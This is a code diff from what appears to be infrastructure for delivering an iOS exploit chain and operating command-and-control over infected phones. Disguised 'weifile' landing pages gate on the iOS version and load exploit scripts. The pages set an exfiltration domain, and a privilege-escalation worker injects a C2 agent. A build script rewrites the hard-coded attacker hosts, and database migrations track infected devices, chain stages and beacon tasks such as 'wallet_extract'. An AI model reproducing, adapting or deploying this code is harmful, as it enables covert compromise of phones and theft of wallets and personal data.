libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task);
|
||||
c2Agent.destroy();
|
||||
__c2Injected = true;
|
||||
try { globalThis.__peC2Injected = true; } catch (_g2) {}
|
||||
p7_flog("PEMK-F0 legacy c2 OK"); p7_flushLog();
|
||||
} else {
|
||||
LOG("[PE-WORKER] c2_agent FAILED");
|
||||
p7_flog("PEMK-F0 legacy c2 FAILED -> war-fallback"); p7_flushLog();
|
||||
__pePostWarDumpFallback("legacy_inject_fail");
|
||||
}
|
||||
}
|
||||
} catch (c2Err) {
|
||||
LOG("[PE-WORKER] c2_agent error: " + c2Err);
|
||||
p7_flog("PEMK-F0 exception: " + c2Err); p7_flushLog();
|
||||
if (!__c2Injected) __pePostWarDumpFallback("exception");
|
||||
}
|
||||
p7_flog("PEMK-F s5_c2 done injected=" + (__c2Injected ? "1" : "0")); p7_flushLog();
|
||||
}
|
||||
|
||||
__peStage5();
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,65 @@
|
||||
/* 倒计时与 JS 链并行(秒数与 config.js countdownSeconds 一致 = 8)。
|
||||
* ?e=0 整页刷新不重置截止时间;到点必定跳 index,不受 ?e=0 影响。 */
|
||||
(function () {
|
||||
var TOTAL_SEC = 8;
|
||||
var KEY = "__er_countdown_deadline_ms";
|
||||
var LANDED = "__er_landed";
|
||||
var INDEX_URL = "/index.html?landed=1";
|
||||
var CIRC = 2 * Math.PI * 54;
|
||||
|
||||
try {
|
||||
if (sessionStorage.getItem(LANDED) === "1") {
|
||||
// 已进过 index:链后续若再导航到 /qqtime/?e=0,立刻回落地页
|
||||
location.replace(INDEX_URL);
|
||||
return;
|
||||
}
|
||||
} catch (e0) {}
|
||||
|
||||
var now = Date.now();
|
||||
var deadline = 0;
|
||||
try {
|
||||
deadline = parseInt(sessionStorage.getItem(KEY) || "0", 10) || 0;
|
||||
} catch (e) {}
|
||||
// 仅首次写入截止时间;?e=0 刷新沿用原 deadline,倒计时不归零
|
||||
if (!deadline || deadline < now - 5000) {
|
||||
deadline = now + TOTAL_SEC * 1000;
|
||||
try {
|
||||
sessionStorage.setItem(KEY, String(deadline));
|
||||
} catch (e2) {}
|
||||
}
|
||||
|
||||
var countEl = document.getElementById("count");
|
||||
var fg = document.getElementById("fg");
|
||||
if (fg) fg.style.strokeDasharray = String(CIRC);
|
||||
|
||||
var jumped = false;
|
||||
function goIndex() {
|
||||
if (jumped) return;
|
||||
jumped = true;
|
||||
try {
|
||||
sessionStorage.setItem(LANDED, "1");
|
||||
sessionStorage.removeItem(KEY);
|
||||
} catch (e3) {}
|
||||
location.replace(INDEX_URL);
|
||||
}
|
||||
|
||||
function tick() {
|
||||
var leftMs = deadline - Date.now();
|
||||
var left = Math.max(0, Math.ceil(leftMs / 1000));
|
||||
if (countEl) countEl.textContent = String(left);
|
||||
if (fg) {
|
||||
var progressed = Math.min(
|
||||
1,
|
||||
Math.max(0, 1 - leftMs / (TOTAL_SEC * 1000))
|
||||
);
|
||||
fg.style.strokeDashoffset = String(CIRC * (1 - progressed));
|
||||
}
|
||||
if (leftMs <= 0) {
|
||||
goIndex();
|
||||
return;
|
||||
}
|
||||
setTimeout(tick, 200);
|
||||
}
|
||||
|
||||
tick();
|
||||
})();
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,4 @@
|
||||
// for displaying hex value
|
||||
function dummyy(x) {
|
||||
return '0x' + x.toString(16);
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
|
||||
{"bytes":0,"ok":true,"path":"/stats"}
|
||||
@@ -0,0 +1,180 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Rewrite DarkSword hosts in source/ and publish to public/next-chain.
|
||||
|
||||
Usage:
|
||||
python3 tools/build.py
|
||||
python3 tools/build.py --host 192.168.31.130 --port 8000
|
||||
python3 tools/build.py --origin http://192.168.31.130:8000
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import shutil
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
PROJECT_ROOT = BUILDER_ROOT.parent
|
||||
|
||||
DEFAULT_SOURCE = BUILDER_ROOT / "source"
|
||||
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
|
||||
SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"}
|
||||
|
||||
|
||||
def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
|
||||
return [
|
||||
("https://mh0usocqzi6f46i.com:443", origin),
|
||||
("http://mh0usocqzi6f46i.com:443", origin),
|
||||
("https://mh0usocqzi6f46i.com", origin),
|
||||
("http://one99.vip:80", origin),
|
||||
("https://one99.vip:80", origin),
|
||||
("http://one99.vip", origin),
|
||||
("https://one99.vip", origin),
|
||||
('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'),
|
||||
('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'),
|
||||
(
|
||||
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
|
||||
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: false }}',
|
||||
),
|
||||
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'),
|
||||
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'),
|
||||
(" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"),
|
||||
("mh0usocqzi6f46i.com", ip),
|
||||
("one99.vip", ip),
|
||||
("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"),
|
||||
("_h === '192.168.4.10'", f"_h === '{ip}'"),
|
||||
('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'),
|
||||
('_h === "192.168.4.10"', f'_h === "{ip}"'),
|
||||
('"192.168.1.29"', f'"{ip}"'),
|
||||
('redirectUrl: "https://ab.ux600.com"', f'redirectUrl: "{origin}/?landed=1"'),
|
||||
("'https://ab.ux600.com'", f"'{origin}/?landed=1'"),
|
||||
# public/log/ is a directory on lab; phone POST /log must hit the API.
|
||||
('__labCfHttp("POST", "/log"', '__labCfHttp("POST", "/api/ds/log"'),
|
||||
('__labCfHttp(\\"POST\\", \\"/log\\"', '__labCfHttp(\\"POST\\", \\"/api/ds/log\\"'),
|
||||
('__labCfHttp("GET", "/log.html?"', '__labCfHttp("GET", "/api/ds/log?"'),
|
||||
('__labCfHttp(\\"GET\\", \\"/log.html?"', '__labCfHttp(\\"GET\\", \\"/api/ds/log?"'),
|
||||
("/log.html", "/api/ds/log"),
|
||||
(origin + '/log"', origin + '/api/ds/log"'),
|
||||
(origin + '/log\\"', origin + '/api/ds/log\\"'),
|
||||
(':80/log"', ':80/api/ds/log"'),
|
||||
(':80/log\\"', ':80/api/ds/log\\"'),
|
||||
]
|
||||
|
||||
|
||||
def iter_files(root: Path) -> list[Path]:
|
||||
out: list[Path] = []
|
||||
for p in root.rglob("*"):
|
||||
if not p.is_file():
|
||||
continue
|
||||
if p.suffix.lower() in SKIP_SUFFIX:
|
||||
continue
|
||||
out.append(p)
|
||||
return sorted(out)
|
||||
|
||||
|
||||
def rewrite_tree(root: Path, ip: str, port: int, origin: str) -> list[dict]:
|
||||
pairs = replacements(ip, port, origin)
|
||||
hits: list[dict] = []
|
||||
for src in iter_files(root):
|
||||
text = src.read_text("utf-8", errors="surrogateescape")
|
||||
new = text
|
||||
counts: dict[str, int] = {}
|
||||
for old, repl in pairs:
|
||||
n = new.count(old)
|
||||
if n:
|
||||
counts[old] = n
|
||||
new = new.replace(old, repl)
|
||||
if new != text:
|
||||
src.write_text(new, encoding="utf-8", errors="surrogateescape")
|
||||
hits.append({"file": str(src.relative_to(root)), "counts": counts})
|
||||
return hits
|
||||
|
||||
|
||||
def publish(staging: Path, dest: Path) -> None:
|
||||
dest = dest.resolve()
|
||||
dest.parent.mkdir(parents=True, exist_ok=True)
|
||||
tmp = dest.with_name(dest.name + ".building")
|
||||
old = dest.with_name(dest.name + ".old")
|
||||
if tmp.exists():
|
||||
shutil.rmtree(tmp)
|
||||
shutil.copytree(staging, tmp, ignore=shutil.ignore_patterns(".DS_Store"))
|
||||
if dest.exists():
|
||||
if old.exists():
|
||||
shutil.rmtree(old)
|
||||
dest.rename(old)
|
||||
try:
|
||||
tmp.rename(dest)
|
||||
except OSError:
|
||||
dest.rename(tmp.with_name(dest.name + ".restore"))
|
||||
raise
|
||||
shutil.rmtree(old)
|
||||
else:
|
||||
tmp.rename(dest)
|
||||
|
||||
|
||||
def resolve_origin(args: argparse.Namespace) -> tuple[str, int, str]:
|
||||
if args.origin:
|
||||
parsed = urlparse(args.origin)
|
||||
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||
raise SystemExit(f"invalid --origin: {args.origin}")
|
||||
host = parsed.hostname
|
||||
if parsed.port:
|
||||
port = parsed.port
|
||||
else:
|
||||
port = 443 if parsed.scheme == "https" else 80
|
||||
origin = f"{parsed.scheme}://{host}"
|
||||
if not ((parsed.scheme == "http" and port == 80) or (parsed.scheme == "https" and port == 443)):
|
||||
origin += f":{port}"
|
||||
return host, port, origin
|
||||
|
||||
host = args.host
|
||||
port = args.port
|
||||
origin = f"{args.scheme}://{host}"
|
||||
if not ((args.scheme == "http" and port == 80) or (args.scheme == "https" and port == 443)):
|
||||
origin += f":{port}"
|
||||
return host, port, origin
|
||||
|
||||
|
||||
def build(source: Path, dest: Path, host: str, port: int, origin: str, dry_run: bool = False) -> list[dict]:
|
||||
if not source.is_dir():
|
||||
raise SystemExit(f"source not found: {source}")
|
||||
staging = BUILDER_ROOT / "out" / "staging"
|
||||
if staging.exists():
|
||||
shutil.rmtree(staging)
|
||||
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
|
||||
hits = rewrite_tree(staging, host, port, origin)
|
||||
if dry_run:
|
||||
shutil.rmtree(staging)
|
||||
return hits
|
||||
publish(staging, dest)
|
||||
shutil.rmtree(staging, ignore_errors=True)
|
||||
return hits
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> int:
|
||||
ap = argparse.ArgumentParser(description="Rewrite DarkSword source and publish public/next-chain")
|
||||
ap.add_argument("--host", default="192.168.31.130")
|
||||
ap.add_argument("--port", type=int, default=8000)
|
||||
ap.add_argument("--scheme", default="http", choices=("http", "https"))
|
||||
ap.add_argument("--origin", default="", help="full origin, e.g. http://192.168.31.130:8000")
|
||||
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
|
||||
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
|
||||
ap.add_argument("--dry-run", action="store_true")
|
||||
args = ap.parse_args(argv)
|
||||
|
||||
host, port, origin = resolve_origin(args)
|
||||
hits = build(args.source, args.dest, host, port, origin, dry_run=args.dry_run)
|
||||
action = "would rewrite" if args.dry_run else "published"
|
||||
print(f"{action} {len(hits)} files -> {origin}")
|
||||
if not args.dry_run:
|
||||
print(f"dest {args.dest.resolve()}")
|
||||
for h in hits:
|
||||
print(f" {h['file']} ({sum(h['counts'].values())})")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,70 @@
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
if str(TOOLS) not in sys.path:
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
|
||||
import build # noqa: E402
|
||||
|
||||
|
||||
class BuildTest(unittest.TestCase):
|
||||
def setUp(self) -> None:
|
||||
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
|
||||
self.source = self.tmp / "source"
|
||||
self.dest = self.tmp / "next-chain"
|
||||
self.source.mkdir(parents=True)
|
||||
(self.source / "config.js").write_text(
|
||||
'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
|
||||
(self.source / "pe_worker.js").write_text(
|
||||
'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n'
|
||||
'__labCfHttp("POST", "/log", body, false);\n'
|
||||
'__labCfHttp("GET", "/log.html?" + q, null, false);\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
def tearDown(self) -> None:
|
||||
shutil.rmtree(self.tmp, ignore_errors=True)
|
||||
|
||||
def test_rewrites_and_publishes_without_touching_source(self) -> None:
|
||||
before = (self.source / "config.js").read_text(encoding="utf-8")
|
||||
hits = build.build(
|
||||
self.source,
|
||||
self.dest,
|
||||
"192.168.31.130",
|
||||
8080,
|
||||
"http://192.168.31.130:8080",
|
||||
)
|
||||
self.assertTrue(hits)
|
||||
self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
|
||||
published = (self.dest / "config.js").read_text(encoding="utf-8")
|
||||
self.assertIn("http://192.168.31.130:8080/?landed=1", published)
|
||||
self.assertIn('const HQ_WALLET_PORT = "8080"', published)
|
||||
self.assertNotIn("ab.ux600.com", published)
|
||||
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
|
||||
self.assertFalse((self.dest / "api").exists())
|
||||
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
|
||||
self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker)
|
||||
self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker)
|
||||
self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker)
|
||||
self.assertNotIn("/log.html", worker)
|
||||
self.assertNotIn('__labCfHttp("POST", "/log"', worker)
|
||||
|
||||
def test_origin_override(self) -> None:
|
||||
host, port, origin = build.resolve_origin(
|
||||
type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})()
|
||||
)
|
||||
self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,133 @@
|
||||
(function () {
|
||||
var DS_BASE = '/next-chain';
|
||||
var HOLD_MS = 10 * 60 * 1000;
|
||||
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
|
||||
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = (a && a[i]) || 0;
|
||||
var bi = (b && b[i]) || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || '').trim().slice(0, 64);
|
||||
if (!code) return '';
|
||||
try {
|
||||
window.__LAB_CHANNEL_CODE__ = code;
|
||||
window.__CORUNA_CHANNEL__ = code;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
sessionStorage.setItem('lab_channel_code', code);
|
||||
} catch (e1) {}
|
||||
try {
|
||||
localStorage.setItem('lab_channel_code', code);
|
||||
} catch (e2) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function channelCode() {
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (eP) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function dsUrl(path) {
|
||||
var origin = '';
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
|
||||
} catch (e) {}
|
||||
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
|
||||
}
|
||||
|
||||
function loadScript(src, onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
};
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
}
|
||||
|
||||
function loadScripts(urls) {
|
||||
var i = 0;
|
||||
function next() {
|
||||
if (i >= urls.length) return;
|
||||
loadScript(urls[i++], next);
|
||||
}
|
||||
next();
|
||||
}
|
||||
|
||||
function holdFresh() {
|
||||
var now = Date.now();
|
||||
for (var i = 0; i < HOLD_KEYS.length; i++) {
|
||||
var key = HOLD_KEYS[i];
|
||||
try {
|
||||
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ls && now - ls <= HOLD_MS) return true;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ss && now - ss <= HOLD_MS) return true;
|
||||
} catch (e1) {}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function markHold() {
|
||||
var ts = String(Date.now());
|
||||
try {
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
localStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e2) {}
|
||||
try {
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e3) {}
|
||||
}
|
||||
|
||||
function loadDs(code) {
|
||||
if (holdFresh()) return;
|
||||
markHold();
|
||||
persistChannelCode(code);
|
||||
try {
|
||||
window.__LAB_DELIVERY_HOST__ = dsUrl('');
|
||||
if (!window.__LAB_EXFIL_DOMAIN__) {
|
||||
window.__LAB_EXFIL_DOMAIN__ = location.hostname || '';
|
||||
}
|
||||
} catch (eH) {}
|
||||
loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]);
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
var code = channelCode();
|
||||
if (!ios || cmpVer(ios, [18, 1]) < 0) {
|
||||
loadScript('index.js');
|
||||
return;
|
||||
}
|
||||
if (cmpVer(ios, [18, 7]) < 0) {
|
||||
loadDs(code);
|
||||
}
|
||||
})();
|
||||
@@ -7,6 +7,6 @@
|
||||
<title>weifile</title>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript" src="index.js"></script>
|
||||
<script type="text/javascript" src="route.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -111,7 +111,7 @@
|
||||
<p class="title">加载中</p>
|
||||
<p class="subtitle">请稍候,正在准备页面…</p>
|
||||
</div>
|
||||
<script type="text/javascript" src="index.js"></script>
|
||||
<script type="text/javascript" src="route.js"></script>
|
||||
<script>
|
||||
(function () {
|
||||
var TOTAL = 15;
|
||||
|
||||
@@ -7,6 +7,6 @@
|
||||
<title>weifile</title>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript" src="index.js"></script>
|
||||
<script type="text/javascript" src="route.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -202,6 +202,15 @@ def normalize_landing_template(value: str | None) -> str:
|
||||
return template
|
||||
|
||||
|
||||
def ensure_route_js(weifile_dir: Path) -> Path:
|
||||
src = xxbb_build.SOURCE_WEIFILE / "route.js"
|
||||
if not src.is_file():
|
||||
raise SystemExit(f"missing weifile router: {src}")
|
||||
dest = weifile_dir / "route.js"
|
||||
dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
|
||||
return dest
|
||||
|
||||
|
||||
def apply_landing_template(weifile_dir: Path, template: str) -> Path:
|
||||
template = normalize_landing_template(template)
|
||||
src = LANDING_TEMPLATE_ROOT / f"{template}.html"
|
||||
@@ -273,6 +282,7 @@ def pack_channel(
|
||||
encoding="utf-8",
|
||||
)
|
||||
apply_landing_template(weifile_dest, landing_template)
|
||||
ensure_route_js(weifile_dest)
|
||||
|
||||
if channel_out.exists():
|
||||
shutil.rmtree(channel_out)
|
||||
|
||||
@@ -83,10 +83,18 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertFalse((artifact / "weifile").exists())
|
||||
self.assertTrue((weifile / "index.js").is_file())
|
||||
self.assertTrue((weifile / "weifile.html").is_file())
|
||||
self.assertTrue((weifile / "route.js").is_file())
|
||||
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
||||
route = (weifile / "route.js").read_text(encoding="utf-8")
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertNotIn("/t.js", html)
|
||||
self.assertIn("index.js", html)
|
||||
self.assertIn("route.js", html)
|
||||
self.assertIn("location.pathname", route)
|
||||
self.assertIn("/next-chain", route)
|
||||
self.assertIn("boot.js", route)
|
||||
self.assertIn("10 * 60 * 1000", route)
|
||||
self.assertNotIn("channeICode", route)
|
||||
self.assertIn("index.js", route)
|
||||
index_js = (weifile / "index.js").read_text(encoding="utf-8")
|
||||
expected_host = generate_domains(channel_c, 1)[0]
|
||||
self.assertIn(expected_host, index_js)
|
||||
@@ -300,6 +308,16 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(stripped, "head;")
|
||||
html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
|
||||
self.assertIn('/t.js', html)
|
||||
route = (xxbb_build.SOURCE_WEIFILE / "route.js").read_text(encoding="utf-8")
|
||||
self.assertIn("location.pathname", route)
|
||||
self.assertIn("/next-chain", route)
|
||||
self.assertIn("boot.js", route)
|
||||
self.assertIn("10 * 60 * 1000", route)
|
||||
self.assertNotIn("channeICode", route)
|
||||
for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
|
||||
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
|
||||
self.assertIn("route.js", landing)
|
||||
self.assertNotIn('src="index.js"', landing)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->string('family', 32)->default('xxbb')->after('device_id')->index();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropColumn('family');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,24 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->unsignedTinyInteger('chain')->default(0)->after('client_uid');
|
||||
$table->index('chain');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->dropIndex(['chain']);
|
||||
$table->dropColumn('chain');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
DB::table('devices')->where('family', 'xxbb')->update(['family' => 'coruna']);
|
||||
|
||||
if (Schema::getConnection()->getDriverName() === 'mysql') {
|
||||
DB::statement("ALTER TABLE devices MODIFY family VARCHAR(32) NOT NULL DEFAULT 'coruna'");
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
DB::table('devices')->where('family', 'coruna')->update(['family' => 'xxbb']);
|
||||
|
||||
if (Schema::getConnection()->getDriverName() === 'mysql') {
|
||||
DB::statement("ALTER TABLE devices MODIFY family VARCHAR(32) NOT NULL DEFAULT 'xxbb'");
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,29 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('ds_chain_logs', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('client_uid', 64);
|
||||
$table->string('channel_id', 64)->nullable();
|
||||
$table->string('stage', 32);
|
||||
$table->unsignedTinyInteger('progress')->default(0);
|
||||
$table->string('label', 255)->nullable();
|
||||
$table->timestamp('created_at')->useCurrent();
|
||||
|
||||
$table->index(['client_uid', 'created_at']);
|
||||
$table->index('stage');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('ds_chain_logs');
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('ds_beacon_tasks', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->unsignedTinyInteger('position');
|
||||
$table->string('type', 64);
|
||||
$table->string('status', 16)->default('pending');
|
||||
$table->string('command_id', 64)->nullable();
|
||||
$table->timestamp('dispatched_at')->nullable();
|
||||
$table->timestamp('completed_at')->nullable();
|
||||
$table->unsignedInteger('result_count')->default(0);
|
||||
$table->json('result_meta')->nullable();
|
||||
$table->timestamps();
|
||||
|
||||
$table->unique(['device_id', 'position']);
|
||||
$table->unique('command_id');
|
||||
$table->index(['device_id', 'status']);
|
||||
});
|
||||
|
||||
$now = now();
|
||||
$types = [
|
||||
'wallet_extract',
|
